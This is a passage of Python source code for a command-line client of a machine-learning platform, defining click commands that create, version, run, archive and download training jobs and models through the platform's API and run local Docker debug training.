'--notebook-id', 'notebook_id', type=str, help='notebook id', required=True) @click.option('-t', '--notebook-type', type=str, required=False, help='Jupyter type. Choose from "notebook" or "lab".') @click.option('--datalake', '--datalakes', 'datalakes', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake channel ID for premount.') @click.option('--bucket', '--buckets', 'buckets', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake bucket ID for premount.') @click.option('--dataset', '--datasets', 'datasets', type=DATASET_PARAM_STR, help='[Alpha stage option] Dataset ID for premount.', default=None, required=False, multiple=True) def start_notebook(job_definition_name, notebook_id, notebook_type, datalakes, buckets, datasets): try: name = __get_job_definition_name(job_definition_name, training_config) payload = dict() if notebook_type is not None: payload['notebook_type'] = notebook_type if datalakes: payload['datalakes'] = list(datalakes) if buckets: payload['buckets'] = list(buckets) if datasets: payload['datasets'] = dict(datasets) url = "{}/training/definitions/{}/notebooks/{}/start".format( ORGANIZATION_ENDPOINT, name, notebook_id) r = api_post(url, json.dumps(payload)) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create notebook aborted: {}'.format(e)) click.echo('create notebook aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) # --------------------------------------------------- # job definition version # --------------------------------------------------- @training.command(name='create-version', help='Create a version of Training Job Definition.') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-h', '--handler', 'handler', type=str, help='Training handler', required=False) @click.option('-i', '--image', 'image', type=str, required=False, help='Specify base image name and tag in the "name:tag" format. ex) abeja-inc/all-gpu:19.10') @click.option('-d', '--description', type=str, required=False, help='Description for the training job, which must be less than or equal to 256 characters.') @click.option('-e', '--environment', type=ENVIRONMENT_STR, default=None, required=False, multiple=True, help='Environment variables, ex. BATCH_SIZE:32') @click.option('--exclude', type=str, help='Specify the file/dir to exclude from create-version.', required=False, multiple=True) @click.option('--datalake', '--datalakes', 'datalakes', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake channel ID for premount.') @click.option('--bucket', '--buckets', 'buckets', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake bucket ID for premount.') @click.option('--dataset', '--datasets', 'datasets', type=DATASET_PARAM_STR, help='Datasets name', default=None, required=False, multiple=True) @click.option('--dataset-premounted', is_flag=True, type=bool, required=False, help='[Alpha stage option] Flag for pre-mounting datasets. Use this along with "--datasets" option.') def create_training_version( job_definition_name, handler, image, description, environment, exclude, datalakes, buckets, datasets, dataset_premounted): if exclude is None: excludes = [] else: excludes = list(exclude) archive = None try: name = __get_job_definition_name(job_definition_name, training_config) config_data = training_config.read(training_config.create_version_schema) handler = handler or config_data.get('handler') image = image or config_data.get('image') if not handler or not image: raise InvalidConfigException('need to specify handler and image both') # FIXME: For "20.02" trial. if not is_valid_image_and_handler_pair(image, handler): raise InvalidConfigException('handler must be "file:method" format.') payload = { 'handler': handler, 'image': image } if description is not None: payload['description'] = description environment = {**dict(config_data.get('environment', {})), **dict(environment)} if environment: payload['environment'] = environment if datalakes: payload['datalakes'] = list(datalakes) if buckets: payload['buckets'] = list(buckets) _datasets = dict(config_data.get('datasets', {})) datasets = {**_datasets, **dict(datasets)} if datasets: payload['datasets'] = datasets payload['dataset_premounted'] = dataset_premounted or False user_exclude_files = config_data.pop('ignores', []) exclude_files = set(user_exclude_files + DEFAULT_EXCLUDE_FILES + excludes) archive = version_archive(name, exclude_files) url = "{}/training/definitions/{}/versions".format( ORGANIZATION_ENDPOINT, name) r = _create_training_version(url, payload, archive) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except FileNotFoundError: logger.error('failed to archive the current directory.') click.echo('failed to archive the current directory.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create training version aborted: {}'.format(e)) click.echo('create training version aborted.') sys.exit(ERROR_EXITCODE) finally: if archive and os.path.exists(archive.name): archive.close() os.unlink(archive.name) click.echo(json_output_formatter(r)) def _create_training_version(url: str, payload: Dict[str, str], archive): with open(archive.name, 'rb') as archive_file: json_params = json.dumps(payload) files = { 'source_code': ('archive.tar.gz', archive_file, 'application/tar+gzip'), 'parameters': ('params.json', StringIO(json_params), 'application/json'), } return api_post(url, files=files) @training.command(name='create-version-from-git', help='Create a version of Training Job Definition from GitHub repository.') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('--git-url', type=str, required=True, help='GitHub URL, which must start with "https://".') @click.option('--git-branch', type=str, required=False, help='GitHub branch. Default "master"') @click.option('-h', '--handler', 'handler', type=str, help='Training handler', required=False) @click.option('-i', '--image', 'image', type=str, required=False, help='Specify base image name and tag in the "name:tag" format. ex) abeja-inc/all-gpu:19.10') @click.option('-d', '--description', type=str, required=False, help='Description for the training job, which must be less than or equal to 256 characters.') @click.option('-e', '--environment', type=ENVIRONMENT_STR, default=None, required=False, multiple=True, help='Environment variables, ex. BATCH_SIZE:32') @click.option('--datalake', '--datalakes', 'datalakes', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake channel ID for premount.') @click.option('--bucket', '--buckets', 'buckets', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake bucket ID for premount.') @click.option('--dataset', '--datasets', 'datasets', type=DATASET_PARAM_STR, help='Datasets name', default=None, required=False, multiple=True) @click.option('--dataset-premounted', is_flag=True, type=bool, required=False, help='[Alpha stage option] Flag for pre-mounting datasets. Use this along with "--datasets" option.') def create_training_version_from_git( job_definition_name, git_url, git_branch, handler, image, description, environment, datalakes, buckets, datasets, dataset_premounted): try: name = __get_job_definition_name(job_definition_name, training_config) config_data = training_config.read(training_config.create_version_schema) handler = handler or config_data.get('handler') image = image or config_data.get('image') if not handler or not image: raise InvalidConfigException('need to specify handler and image both') # FIXME: For "20.02" trial. if not is_valid_image_and_handler_pair(image, handler): raise InvalidConfigException('handler must be "file:method" format.') payload = { 'git_url': git_url, 'handler': handler, 'image': image } if git_branch is not None: payload['git_branch'] = git_branch if description is not None: payload['description'] = description environment = {**dict(config_data.get('environment', {})), **dict(environment)} if environment: payload['environment'] = environment if datalakes: payload['datalakes'] = list(datalakes) if buckets: payload['buckets'] = list(buckets) _datasets = dict(config_data.get('datasets', {})) datasets = {**_datasets, **dict(datasets)} if datasets: payload['datasets'] = datasets payload['dataset_premounted'] = dataset_premounted or False url = "{}/training/definitions/{}/git/versions".format( ORGANIZATION_ENDPOINT, name) r = api_post(url, json.dumps(payload)) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create training version aborted: {}'.format(e)) click.echo('create training version aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) @training.command(name='update-version', help='Update a description of Training Job Definition Version.') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-v', '--version', type=str, required=False, help='Job definition version. By default, latest version is used') @click.option('-d', '--description', type=str, required=False, help='Description for the training job, which must be less than or equal to 256 characters.') def update_training_version(job_definition_name, version, description): try: name = __get_job_definition_name(job_definition_name, training_config) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('update job definition version operation aborted: {}'.format(e)) click.echo('update job definition version operation aborted.') sys.exit(ERROR_EXITCODE) params = {} if description is not None: params['description'] = description try: if version is None: try: version = _get_latest_training_version(name) except ResourceNotFound: logger.error('there is no available training versions.') click.echo( 'there is no available training versions. please create training version first.') sys.exit(ERROR_EXITCODE) url = "{}/training/definitions/{}/versions/{}".format( ORGANIZATION_ENDPOINT, name, version) r = api_patch(url, json.dumps(params)) click.echo(json_output_formatter(r)) except Exception as e: logger.error('update job definition version operation aborted: {}'.format(e)) click.echo('update job definition version operation aborted.') sys.exit(ERROR_EXITCODE) @training.command(name='describe-versions', help='Describe Training Job Definition Versions') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('--include-archived', 'include_archived', is_flag=True, help="Includes archived training versions.") def describe_training_versions(job_definition_name, include_archived): try: name = __get_job_definition_name(job_definition_name, training_config) r = _describe_training_versions(name, include_archived) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('describe job operation aborted: {}'.format(e)) click.echo('describe job operation aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) def _describe_training_versions(name: str, include_archived: Optional[bool]=None): url = "{}/training/definitions/{}/versions".format( ORGANIZATION_ENDPOINT, name) url = '{}?filter_archived=include_archived'.format( url) if include_archived else '{}?filter_archived=exclude_archived'.format(url) return api_get(url) def _get_latest_training_version(name: str): res = _describe_training_versions(name) versions = res.get('entries', []) # sort by job_definition_version sorted_versions = sorted(versions, key=itemgetter( 'job_definition_version'), reverse=True) if not sorted_versions: raise ResourceNotFound return sorted_versions[0]['job_definition_version'] # --------------------------------------------------- # job # --------------------------------------------------- @training.command(name='create-job', help='Create training job') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-v', '--version', type=str, required=False, help='Job definition version. By default, latest version is used') @click.option('-e', '--environment', type=ENVIRONMENT_STR, default=None, required=False, multiple=True, help='Environment variables, ex. BATCH_SIZE:32') @click.option('-p', '--params', type=USER_PARAM_STR, default=None, required=False, multiple=True, help='[DEPRECATED] User parameters, ex. BATCH_SIZE:32. ' 'If environment is specified, this will be ignored. ' 'Please use `--environment` option. ') @click.option('--instance-type', type=str, required=False, help='Instance Type of the machine where training job is executed. ' 'By default, cpu-1 and gpu-1 is used for all-cpu and all-gpu images respectively.') @click.option('-d', '--description', type=str, required=False, help='Description for the training job, which must be less than or equal to 256 characters.') @click.option('--dataset', '--datasets', 'datasets', type=DATASET_PARAM_STR, help='Datasets name', default=None, required=False, multiple=True) @click.option('--datalake', '--datalakes', 'datalakes', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake channel ID for premount.') @click.option('--bucket', '--buckets', 'buckets', type=str, default=None, required=False, multiple=True, help='[Alpha stage option] Datalake bucket ID for premount.') @click.option('--dataset-premounted', is_flag=True, type=bool, required=False, help='[Alpha stage option] Flag for pre-mounting datasets. Use this along with "--datasets" option.') @click.option('--export-log', is_flag=True, type=bool, required=False, help='Include the log in the model file. This feature is only available with 19.04 or later images.') def create_training_job(job_definition_name, version, environment, params, instance_type, description, datasets, datalakes, buckets, dataset_premounted, export_log): try: name = __get_job_definition_name(job_definition_name, training_config) config_data = training_config.read(training_config.create_job_schema) if version is None: try: version = _get_latest_training_version(name) except ResourceNotFound: logger.error('there is no available training versions.') click.echo( 'there is no available training versions. please create training version first.') sys.exit(ERROR_EXITCODE) url = "{}/training/definitions/{}/versions/{}/jobs".format( ORGANIZATION_ENDPOINT, name, version) environment = dict(environment) or dict(params) env_vars = {**dict(config_data.get('environment', {})), **environment} _datasets = dict(config_data.get('datasets', {})) datasets = {**_datasets, **dict(datasets)} data = {} if env_vars: data['environment'] = env_vars instance_type = instance_type or config_data.get('instance_type') if instance_type is not None: data['instance_type'] = instance_type if datasets: data['datasets'] = datasets data['dataset_premounted'] = dataset_premounted or False if description is not None: data['description'] = description if datalakes: data['datalakes'] = list(datalakes) if buckets: data['buckets'] = list(buckets) if export_log is not None: data['export_log'] = export_log r = api_post(url, json.dumps(data)) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create training job aborted: {}'.format(e)) click.echo('create training job aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) @training.command(name='describe-jobs', help='Show training job list for a specific training definition name') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('--include-archived', 'include_archived', is_flag=True, help="Includes archived training jobs .") @click.option('-l', '--limit', 'limit', type=int, help='Number of pagings', default=None, required=False) @click.option('-o', '--offset', 'offset', type=int, help='Paging start index', default=None, required=False) def describe_jobs(job_definition_name, include_archived, limit, offset): try: name = __get_job_definition_name(job_definition_name, training_config) url = "{}/training/definitions/{}/jobs".format(ORGANIZATION_ENDPOINT, name) params = {} params["filter_archived"] = 'include_archived' if include_archived else 'exclude_archived' if limit: params['limit'] = limit if offset: params["offset"] = offset r = api_get_data(url, params) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('describe job operation aborted: {}'.format(e)) click.echo('describe job operation aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) @training.command(name='download-training-result', help='Download training result(artifact)') @click.option('-jd', '--job_definisin_id', '--job-definisin-id', 'job_definisin_id', type=str, help='job definition id', required=True) @click.option('-j', '--job_id', '--job-id', 'job_id', type=str, help='job id', required=True) def download_jobs_result(job_definisin_id, job_id): try: r = _download_result(job_definisin_id, job_id) except: sys.exit(ERROR_EXITCODE) click.echo('Downloaded a file {}.'.format(r)) def _download_result(job_definition_id, job_id): url = '{}/training/definitions/{}/jobs/{}/result'.format( ORGANIZATION_ENDPOINT, job_definition_id, job_id) r = api_get(url) download_uri = r['artifacts']['complete']['uri'] file_name = os.path.basename(download_uri[:download_uri.find('?')]) target_file_name = '{}_{}_{}'.format(job_definition_id, job_id, file_name) urllib.request.urlretrieve( download_uri, target_file_name, progress_status) return target_file_name def __training_config_provider(yaml_path, _cmd_name): try: config_data = read_training_config(yaml_path) if not config_data: return {} # DEPRECATED: datasets will be removed datasets = [ '{}:{}'.format(k, v) for k, v in config_data.pop('datasets', {}).items() ] config_data['datasets'] = datasets environment = [] for k, v in config_data.pop('environment', config_data.pop('params', {})).items(): if v is None: v = '' environment.append('{}:{}'.format(k, v)) if 'params' in config_data: config_data.pop('params', None) config_data['environment'] = environment return config_data except ConfigFileNotFoundError: return {} except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('something wrong occurred when loading training configuration file: {}'.format(e)) click.echo('something wrong occurred when loading training configuration file.') sys.exit(ERROR_EXITCODE) @training.command(name='archive-job', help='Archive training job') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('--job-id', '--job_id', type=str, required=True, help='Training Job identifier') def archive_job(job_definition_name, job_id): try: name = __get_job_definition_name(job_definition_name, training_config) url = "{}/training/definitions/{}/jobs/{}/archive".format( ORGANIZATION_ENDPOINT, name, job_id) r = api_post(url) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create training job aborted: {}'.format(e)) click.echo('create training job aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) @training.command(name='unarchive-job', help='Unarchive training job') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('--job-id', '--job_id', type=str, required=True, help='Training Job identifier') def unarchive_job(job_definition_name, job_id): try: name = __get_job_definition_name(job_definition_name, training_config) url = "{}/training/definitions/{}/jobs/{}/unarchive".format( ORGANIZATION_ENDPOINT, name, job_id) r = api_post(url) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create training job aborted: {}'.format(e)) click.echo('create training job aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) @training.command(name='archive-version', help='Archive training job definition version') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-v', '--version-id', '--version_id', type=str, required=True, help='Training job version identifier') def archive_version(job_definition_name, version_id): try: name = __get_job_definition_name(job_definition_name, training_config) url = "{}/training/definitions/{}/versions/{}/archive".format( ORGANIZATION_ENDPOINT, name, version_id) r = api_post(url) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create training job aborted: {}'.format(e)) click.echo('create training job aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) @training.command(name='unarchive-version', help='Unarchive training job definition version') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-v', '--version-id', '--version_id', type=str, required=True, help='Training job version identifier') def unarchive_version(job_definition_name, version_id): try: name = __get_job_definition_name(job_definition_name, training_config) url = "{}/training/definitions/{}/versions/{}/unarchive".format( ORGANIZATION_ENDPOINT, name, version_id) r = api_post(url) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create training job aborted: {}'.format(e)) click.echo('create training job aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) @training.command(name='stop-job', help='Stop training job') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('--job-id', '--job_id', type=str, required=True, help='Training Job identifier') def stop_training_job(job_definition_name, job_id): try: name = __get_job_definition_name(job_definition_name, training_config) url = "{}/training/definitions/{}/jobs/{}/stop".format( ORGANIZATION_ENDPOINT, name, job_id) r = api_post(url, json.dumps({})) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('stop training job aborted: {}'.format(e)) click.echo('stop training job aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) # --------------------------------------------------- # training models # --------------------------------------------------- @training.command(name='describe-training-models', help='Get training model') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-m', '--model_id', '--model-id', 'model_id', type=str, help='Model identifier', default='all', required=False) @click.option('--include-archived', 'include_archived', is_flag=True, help="Includes archived training models.") def describe_training_models(job_definition_name, model_id, include_archived): try: name = __get_job_definition_name(job_definition_name, training_config) r = _describe_training_models(name, model_id, include_archived) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('describe_training_models operation aborted: {}'.format(e)) click.echo('describe_training_models operation aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) def _describe_training_models(job_definition_name, model_id, include_archived=None): url = '{}/training/definitions/{}/models'.format(ORGANIZATION_ENDPOINT, job_definition_name) if model_id != "all": url = '{}/{}'.format(url, model_id) r = api_get(url) return r params = {} params["filter_archived"] = 'include_archived' if include_archived else 'exclude_archived' r = api_get_data(url, params) return r @training.command(name='create-training-model', help='Create training model') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-f', '--filepath', 'filepath', type=str, help='Model filepath', required=True) @click.option('-d', '--description', 'description', type=str, required=False, help='Description for the training model, which must be less than or equal to 256 characters.') @click.option('--user-parameters', '--user_parameters', 'user_parameters', type=ENVIRONMENT_STR, help='User parameters', default=None, required=False, multiple=True) def create_training_model(job_definition_name, filepath, description, user_parameters): try: name = __get_job_definition_name(job_definition_name, training_config) r = _create_training_model(name, filepath, description, user_parameters) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create_training_model operation aborted: {}'.format(e)) click.echo('create_training_model operation aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) def _create_training_model(job_definition_name, filepath, description=None, user_parameters=None): parameter = {} if description: parameter.update({'description': description}) if user_parameters: parameter.update({'user_parameters': dict(user_parameters)}) url = "{}/training/definitions/{}/models".format(ORGANIZATION_ENDPOINT, job_definition_name) try: model_data = training_model_archive(filepath) json_params = json.dumps(parameter) files = { 'model_data': ('model.zip', model_data, 'application/zip'), 'parameters': ('params.json', StringIO(json_params), 'application/json'), } r = api_post(url, files=files) except FileNotFoundError: logger.error('failed to archive the current directory.') click.echo('failed to archive the current directory.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('create training model aborted: {}'.format(e)) click.echo('create training model aborted.') sys.exit(ERROR_EXITCODE) finally: if model_data: model_data.close() return r @training.command(name='update-training-model', help='Update training model') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-m', '--model_id', '--model-id', 'model_id', type=str, help='Model identifier', required=True) @click.option('-d', '--description', 'description', type=str, required=False, help='Description for the training model, which must be less than or equal to 256 characters.') def update_training_model(job_definition_name, model_id, description): try: name = __get_job_definition_name(job_definition_name, training_config) r = _update_training_model(name, model_id, description) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('update_training_model operation aborted: {}'.format(e)) click.echo('update_training_model operation aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) def _update_training_model(job_definition_name, model_id, description): params = {} if description is not None: params['description'] = description url = '{}/training/definitions/{}/models/{}'.format(ORGANIZATION_ENDPOINT, job_definition_name, model_id) r = api_patch(url, json.dumps(params)) return r @training.command(name='download-training-model', help='Download training model') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-m', '--model_id', '--model-id', 'model_id', type=str, help='Model identifier', required=True) def download_training_model(job_definition_name, model_id): try: name = __get_job_definition_name(job_definition_name, training_config) r = _download_training_model(name, model_id) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('download_training_model operation aborted: {}'.format(e)) click.echo('download_training_model operation aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) def _download_training_model(job_definition_name, model_id): url = '{}/training/definitions/{}/models/{}/download'.format( ORGANIZATION_ENDPOINT, job_definition_name, model_id) r = api_get(url) return r @training.command(name='archive-training-model', help='Archive training model') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-m', '--model_id', '--model-id', 'model_id', type=str, help='Model identifier', required=True) def archive_training_model(job_definition_name, model_id): try: name = __get_job_definition_name(job_definition_name, training_config) r = _archive_training_model(name, model_id) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('archive_training_model operation aborted: {}'.format(e)) click.echo('archive_training_model operation aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) def _archive_training_model(job_definition_name, model_id): url = '{}/training/definitions/{}/models/{}/archive'.format( ORGANIZATION_ENDPOINT, job_definition_name, model_id) r = api_post(url) return r @training.command(name='unarchive-training-model', help='Unarchive training model') @click.option('-j', '--job_definition_name', '--job-definition-name', 'job_definition_name', type=str, help='Training job definition name', required=False, default=None) @click.option('-m', '--model_id', '--model-id', 'model_id', type=str, help='Model identifier', required=True) def unarchive_training_model(job_definition_name, model_id): try: name = __get_job_definition_name(job_definition_name, training_config) r = _unarchive_training_model(name, model_id) except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('unarchive_training_model operation aborted: {}'.format(e)) click.echo('unarchive_training_model operation aborted.') sys.exit(ERROR_EXITCODE) click.echo(json_output_formatter(r)) def _unarchive_training_model(job_definition_name, model_id): url = '{}/training/definitions/{}/models/{}/unarchive'.format( ORGANIZATION_ENDPOINT, job_definition_name, model_id) r = api_post(url) return r # --------------------------------------------------- # Run # --------------------------------------------------- @training.command(name='debug-local', help='Local train commands', context_settings=dict( ignore_unknown_options=True, allow_extra_args=True)) @click.option('-h', '--handler', 'handler', type=str, help='Training handler', required=False) @click.option('-i', '--image', 'image', type=str, required=False, callback=convert_to_local_image_callback, help='Specify base image name and tag in the "name:tag" format. ex) abeja-inc/all-gpu:19.10') @click.option('-o', '--organization_id', '--organization-id', 'organization_id', type=str, required=False, help='Organization ID, organization_id of current credential organization is used by default. ' 'this value is set as an environment variable named `ABEJA_ORGANIZATION_ID`.', callback=__try_get_organization_id) @click.option('--datasets', type=DATASET_PARAM_STR, help='Datasets name', default=None, required=False, multiple=True) @click.option('-e', '--environment', type=ENVIRONMENT_STR, help='Environment variables', default=None, required=False, multiple=True) @click.option('-v', '--volume', type=VOLUME_PARAM_STR, default=None, required=False, multiple=True, help='Volume driver options, ex) /path/source/on/host:/path/destination/on/container') @click.option('--no-cache', '--no_cache', is_flag=True, type=bool, required=False, help='Not use built cache') @click.option('--v1', is_flag=True, type=bool, help='Specify if you use old custom runtime image', default=False, required=False) @click.option('--runtime', 'runtime', type=str, required=False, help='Runtime, equivalent to docker run `--runtime` option') @click.option('--build-only', is_flag=True, type=bool, help='Build a docker image only. Not run train command.', required=False) @click.option('-q', '--quiet', is_flag=True, type=bool, help='Suppress info logs', required=False) @click_config_file.configuration_option( provider=__training_config_provider, implicit=True, default=CONFIGFILE_NAME, # by setting `default`, not allow to use `click.get_app_dir` config_file_name=CONFIGFILE_NAME, help='Read Configuration from PATH. By default read from `{}`'.format(CONFIGFILE_NAME)) def debug_local( handler, image, organization_id, datasets, environment, volume, no_cache, quiet, v1, runtime=None, build_only=False): try: config_data = training_config.read(training_config.debug_schema) handler = handler or config_data.get('handler') image = image or config_data.get('image') if not handler or not image: raise InvalidConfigException('need to specify handler and image both') datasets = {**dict(config_data.get('datasets', {})), **dict(datasets)} environment = {**dict(config_data.get('environment', {})), **dict(environment)} volume = build_volumes(volume) if volume else {} with TrainingJobDebugRun( handler=handler, image=image, organization_id=organization_id, datasets=datasets, environment=environment, volume=volume, no_cache=no_cache, build_only=build_only, quiet=quiet, stdout=click.echo, runtime=runtime, platform_user_id=ABEJA_PLATFORM_USER_ID, platform_personal_access_token=ABEJA_PLATFORM_TOKEN, v1flag=v1 ) as job: if job.build_only: sys.exit(SUCCESS_EXITCODE) job.watch() except ConfigFileNotFoundError: logger.error('training configuration file does not exists.') click.echo('training configuration file does not exists.') sys.exit(ERROR_EXITCODE) except InvalidConfigException as e: logger.error('invalid training configuration file: {}'.format(e)) click.echo('invalid training configuration file.') sys.exit(ERROR_EXITCODE) except Exception as e: logger.error('debug_local operation aborted: {}'.format(e)) click.echo('debug_local operation aborted.') sys.exit(ERROR_EXITCODE) @training.command(name='train-local', help='Local train commands', context_settings=dict( ignore_unknown_options=True, allow_extra_args=True)) @click.option('-o', '--organization_id', '--organization-id', 'organization_id', type=str, required=False, help='Organization ID, organization_id of current credential organization is used by default. ' 'this value is set as an environment variable named 